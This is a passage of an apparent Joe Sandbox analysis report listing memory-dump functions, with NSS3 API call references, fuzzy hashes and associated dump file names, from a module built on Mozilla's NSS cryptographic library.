Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Encoder_Finish$Arena_FreeUtilfree
String ID:
API String ID: 508480814-0
Opcode ID: 908792b5dd72c099f57e37c8d1dec122ba62b19ad8ac0bcfaebd14e46e26da6b
Instruction ID: 17c64ae92513c9cfba7175639dd7e2f5e0d52939f7e50a2696c7d0fac1f70a38
Opcode Fuzzy Hash: 908792b5dd72c099f57e37c8d1dec122ba62b19ad8ac0bcfaebd14e46e26da6b
Instruction Fuzzy Hash: 2321B2B66006019FE7209B2BED89F4777E9AFC4359F054538E44A87F61FB31E418C651

Function 6CCBAAA2 Relevance: 6.1, APIs: 4, Instructions: 85COMMON

Download Yara Rule

APIs

_initialize_onexit_table.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CD50D9C,00000000), ref: 6CCBAAD4
_initialize_onexit_table.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CD50DA8,00000000), ref: 6CCBAAE3

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: _initialize_onexit_table
String ID:
API String ID: 2450287516-0
Opcode ID: e62513749cf326bff66eb99e067e84a1d5a56203305b28cb0623c232f72ae0df
Instruction ID: 7baf3d434a192fc2bed3e0e3a7eb9e305811b1f57ec9fc582a3193b7135b3a66
Opcode Fuzzy Hash: e62513749cf326bff66eb99e067e84a1d5a56203305b28cb0623c232f72ae0df
Instruction Fuzzy Hash: 3921D371900609ABDF00DFA8D9006CE7BBA9F46358F504016ED64FBE90F772A9558BA1

Function 6CC9A8F0 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6CC82AE9,00000000,0000065C), ref: 6CC9A91D

Part of subcall function 6CC3ADC0: TlsGetValue.KERNEL32(?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AE10
Part of subcall function 6CC3ADC0: EnterCriticalSection.KERNEL32(?,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AE24
Part of subcall function 6CC3ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CC1D079,00000000,00000001), ref: 6CC3AE5A
Part of subcall function 6CC3ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AE6F
Part of subcall function 6CC3ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AE7F
Part of subcall function 6CC3ADC0: TlsGetValue.KERNEL32(?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AEB1
Part of subcall function 6CC3ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AEC9

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6CC82AE9,00000000,0000065C), ref: 6CC9A934
SECITEM_ZfreeItem_Util.NSS3(00068C9A,00000000,00000000,00000000,?,?,6CC82AE9,00000000,0000065C), ref: 6CC9A949
free.MOZGLUE(00068C86,00000000,0000065C), ref: 6CC9A952

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: 3fbd1d1c9bb20d75c4680e5614ae1f4553fb35e309f567ce90fd8b6959c6b0bb
Instruction ID: 26424470cab0783aced365deaab9b5e8de3e1991ab27d05a75e44018c6ee970d
Opcode Fuzzy Hash: 3fbd1d1c9bb20d75c4680e5614ae1f4553fb35e309f567ce90fd8b6959c6b0bb
Instruction Fuzzy Hash: CE313CB4A012119FDB04CF15D980E62B7F8FF88318B1681A9ED0D8B756E730E814CBA1

Function 6CC34FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CC3B60F,00000000), ref: 6CC35003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CC3B60F,00000000), ref: 6CC3501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6CC3B60F,00000000), ref: 6CC3504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6CC3B60F,00000000), ref: 6CC35064

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: 9a929109147151566576da02a6613a0cac64ff11819a77bd0f532c7b6a1e8a47
Instruction ID: 16cc22018b086d0a58b59f5c34d699d1f103f7ddeb1893c119f4899306402b74
Opcode Fuzzy Hash: 9a929109147151566576da02a6613a0cac64ff11819a77bd0f532c7b6a1e8a47
Instruction Fuzzy Hash: 543146B0A04616CFDB00EF68D48466ABBF4FF09308B148969D999D7701E731E895CBD2

Function 6CC62DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CC62E08

Part of subcall function 6CC514C0: TlsGetValue.KERNEL32 ref: 6CC514E0
Part of subcall function 6CC514C0: EnterCriticalSection.KERNEL32 ref: 6CC514F5
Part of subcall function 6CC514C0: PR_Unlock.NSS3 ref: 6CC5150D

PORT_NewArena_Util.NSS3(00000400), ref: 6CC62E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6CC62E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC62E95

Part of subcall function 6CC51200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CBF88A4,00000000,00000000), ref: 6CC51228
Part of subcall function 6CC51200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CC51238
Part of subcall function 6CC51200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CBF88A4,00000000,00000000), ref: 6CC5124B
Part of subcall function 6CC51200: PR_CallOnce.NSS3(6CD52AA4,6CC512D0,00000000,00000000,00000000,?,6CBF88A4,00000000,00000000), ref: 6CC5125D
Part of subcall function 6CC51200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CC5126F
Part of subcall function 6CC51200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CC51280
Part of subcall function 6CC51200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CC5128E
Part of subcall function 6CC51200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CC5129A
Part of subcall function 6CC51200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CC512A1

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: 25bce434ae78c300f5308e54eabe290c9f50ee2821a4ab400213e8e941dadce4
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: D52108B1D107454BE700CF569E98BAB3764AFA134DF110279DD085BB42F7B1E6A8C392

Function 6CBF69B0 Relevance: 6.1, APIs: 4, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(6CBF6AB7,0000000C,00000001,00000000,?,?,6CBF6AB7,?,00000000,?), ref: 6CBF69CE

Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC510F3
Part of subcall function 6CC510C0: EnterCriticalSection.KERNEL32(?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5110C
Part of subcall function 6CC510C0: PL_ArenaAllocate.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51141
Part of subcall function 6CC510C0: PR_Unlock.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51182
Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5119C

SEC_ASN1EncodeItem_Util.NSS3(6CBF6AB7,0000001C,00000004,?,00000001,00000000), ref: 6CBF6A06
SEC_ASN1EncodeItem_Util.NSS3(6CBF6AB7,?,00000000,?,00000001,00000000,?,?,6CBF6AB7,?,00000000,?), ref: 6CBF6A2D
PR_SetError.NSS3(FFFFE005,00000000,00000001,00000000,?,?,6CBF6AB7,?,00000000,?), ref: 6CBF6A42

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$ArenaEncodeItem_Value$Alloc_AllocateCriticalEnterErrorSectionUnlock
String ID:
API String ID: 4031546487-0
Opcode ID: 2df3d3f8523b9f72675b0d56a7dab2ca6cc4b1dc89613633710adc930747dd76
Instruction ID: 8388f8b2265851abe700e47b05fe9a0e4a745e56205c474399f29859122bb5f7
Opcode Fuzzy Hash: 2df3d3f8523b9f72675b0d56a7dab2ca6cc4b1dc89613633710adc930747dd76
Instruction Fuzzy Hash: FB11CE71A40285AFE710CE29DC80B5673ACEB4425CF60C529EE29C3F41F731E81AC7A2

Function 6CC1ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CC1ACC2

Part of subcall function 6CBF2F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CBF2F0A
Part of subcall function 6CBF2F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CBF2F1D

Part of subcall function 6CBF2AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6CBF0A1B,00000000), ref: 6CBF2AF0
Part of subcall function 6CBF2AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBF2B11

CERT_DestroyCertList.NSS3(00000000), ref: 6CC1AD5E

Part of subcall function 6CC357D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CBFB41E,00000000,00000000,?,00000000,?,6CBFB41E,00000000,00000000,00000001,?), ref: 6CC357E0
Part of subcall function 6CC357D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CC35843

CERT_DestroyCertList.NSS3(?), ref: 6CC1AD36

Part of subcall function 6CBF2F50: CERT_DestroyCertificate.NSS3(?), ref: 6CBF2F65
Part of subcall function 6CBF2F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CBF2F83

free.MOZGLUE(?), ref: 6CC1AD4F

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: e4cc7aa9715d91e4aab9c6fdd9e08a174aec345171f97bd003fdabe3ceec20e4
Instruction ID: a7088e1012904777c55eb88b6c34cd4acc2897b8446dcf19c4c55402e78dd249
Opcode Fuzzy Hash: e4cc7aa9715d91e4aab9c6fdd9e08a174aec345171f97bd003fdabe3ceec20e4
Instruction Fuzzy Hash: AA21C6B1D102548BEB10EF66D8055EEB7B4AF45358F054068D81877B10FB31AA5ECBE2

Function 6CC43C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC43C9E
EnterCriticalSection.KERNEL32(?), ref: 6CC43CAE
PR_Unlock.NSS3(?), ref: 6CC43CEA
PR_SetError.NSS3(00000000,00000000), ref: 6CC43D02

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 6c6d8ab4fe20dca6b1c887a78caa46930fa9965b89892b5469c85e686be677c1
Instruction ID: 05d0db1ef1dd2d1bc8ac2ad5785d0b8069d2bbe9cb9aa1c1d3f11613c982a443
Opcode Fuzzy Hash: 6c6d8ab4fe20dca6b1c887a78caa46930fa9965b89892b5469c85e686be677c1
Instruction Fuzzy Hash: 04119675A002049FEB00AF25DC44A9A3778EF49368F59C565ED0897712F731ED54CBE1

Function 6CC4ECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6CC4F0AD,6CC4F150,?,6CC4F150,?,?,?), ref: 6CC4ECBA

Part of subcall function 6CC50FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CBF87ED,00000800,6CBEEF74,00000000), ref: 6CC51000
Part of subcall function 6CC50FF0: PR_NewLock.NSS3(?,00000800,6CBEEF74,00000000), ref: 6CC51016
Part of subcall function 6CC50FF0: PL_InitArenaPool.NSS3(00000000,security,6CBF87ED,00000008,?,00000800,6CBEEF74,00000000), ref: 6CC5102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6CC4ECD1

Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC510F3
Part of subcall function 6CC510C0: EnterCriticalSection.KERNEL32(?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5110C
Part of subcall function 6CC510C0: PL_ArenaAllocate.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51141
Part of subcall function 6CC510C0: PR_Unlock.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51182
Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6CC4ED02

Part of subcall function 6CC510C0: PL_ArenaAllocate.NSS3(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6CC4ED5A

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: a1a0428a235d2c3d7772a88f980904a02de071c43e93f4af4d16bc9be5745834
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: FE2162B19007425BE700CF25D944B52B7E4BFE5348F16C259E81C87661F770E5A4C7D5

Function 6CC1C860 Relevance: 6.1, APIs: 4, Instructions: 64threadCOMMON

Download Yara Rule

APIs

PK11_IsLoggedIn.NSS3(?,?), ref: 6CC1C890

Part of subcall function 6CC18F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CC0DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CC18FAF
Part of subcall function 6CC18F70: PR_Now.NSS3(?,?,00000002,?,?,?,6CC0DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CC18FD1
Part of subcall function 6CC18F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CC0DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CC18FFA
Part of subcall function 6CC18F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CC0DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CC19013
Part of subcall function 6CC18F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CC0DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CC19042
Part of subcall function 6CC18F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CC0DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CC1905A
Part of subcall function 6CC18F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CC0DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CC19073
Part of subcall function 6CC18F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CC0DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CC19111

PR_GetCurrentThread.NSS3 ref: 6CC1C8B2

Part of subcall function 6CCB9BF0: TlsGetValue.KERNEL32(?,?,?,6CD00A75), ref: 6CCB9C07

PK11_Authenticate.NSS3(?,00000001,?), ref: 6CC1C8D0
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC1C8EB

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: K11_Value$CriticalEnterSectionUnlock$AuthenticateCurrentInternalItem_LoggedSlotThreadUtilZfree
String ID:
API String ID: 999015661-0
Opcode ID: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction ID: 42d97f29a2b453b9eb948fe739295e6e9a73a6f86c9bca5bfee8c9dc76dbec23
Opcode Fuzzy Hash: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction Fuzzy Hash: EB01CC66E191116BFB002AB75CC1AFF3A699F4565CF040135FD04A6F01F7618859A3E2

Function 6CC44900 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000004,6CC2C79F,?,?,6CC45C4A,?), ref: 6CC44950

Part of subcall function 6CC48800: TlsGetValue.KERNEL32(?,6CC5085A,00000000,?,6CBF8369,?), ref: 6CC48821
Part of subcall function 6CC48800: TlsGetValue.KERNEL32(?,?,6CC5085A,00000000,?,6CBF8369,?), ref: 6CC4883D
Part of subcall function 6CC48800: EnterCriticalSection.KERNEL32(?,?,?,6CC5085A,00000000,?,6CBF8369,?), ref: 6CC48856
Part of subcall function 6CC48800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CC48887
Part of subcall function 6CC48800: PR_Unlock.NSS3(?,?,?,?,6CC5085A,00000000,?,6CBF8369,?), ref: 6CC48899

TlsGetValue.KERNEL32(?,?,?), ref: 6CC4496A
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC4497A
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC44989

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$CondErrorWait
String ID:
API String ID: 3904631464-0
Opcode ID: 118ac89259d8c2086f02a84ec5c69327f8897aa96a32625a4ab1206e9d4aa880
Instruction ID: e90b3d0709d5cd6ac66df5d82b1e560349e577d19f07f42ef192503a6215598e
Opcode Fuzzy Hash: 118ac89259d8c2086f02a84ec5c69327f8897aa96a32625a4ab1206e9d4aa880
Instruction Fuzzy Hash: AD113BB1B001009BFB00AF28DC0191673BCFF2532DB64C429DA49D7B11F721E4149791

Function 6CC7EDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6CC67FFA,?,6CC69767,?,8B7874C0,0000A48E), ref: 6CC7EDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6CC67FFA,?,6CC69767,?,8B7874C0,0000A48E), ref: 6CC7EDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6CC67FFA,?,6CC69767,?,8B7874C0,0000A48E), ref: 6CC7EE14

Part of subcall function 6CC50BE0: malloc.MOZGLUE(6CC48D2D,?,00000000,?), ref: 6CC50BF8
Part of subcall function 6CC50BE0: TlsGetValue.KERNEL32(6CC48D2D,?,00000000,?), ref: 6CC50C15

memcpy.VCRUNTIME140(?,?,6CC69767,00000000,00000000,6CC67FFA,?,6CC69767,?,8B7874C0,0000A48E), ref: 6CC7EE33

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 6233e5f976dcfc6afc52a11529da25532e9d2146b00b8f19f5cb17463c26ccfc
Instruction ID: e420789856e3b0f411036e9cb56e739fce0e0cf4bd522f75189e0845f1772b8d
Opcode Fuzzy Hash: 6233e5f976dcfc6afc52a11529da25532e9d2146b00b8f19f5cb17463c26ccfc
